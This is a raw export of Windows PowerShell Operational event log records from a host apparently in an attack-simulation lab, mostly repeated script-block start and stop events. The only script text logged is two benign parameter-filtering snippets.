ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051358
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051357
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051355
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051354
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051353
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051351
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051350
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051349
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051347
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051346
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051345
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051344
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051343
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051342
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051341
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051339
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051338
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051337
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051335
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051334
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051333
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051331
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051330
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051329
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051327
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051326
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051325
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051323
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051322
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051321
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051319
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051318
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051317
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051315
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051314
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051313
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051311
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051310
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051309
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051308
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ $PSBoundParameters.Keys -notcontains $_ }

ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051306
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051305
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName }

ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
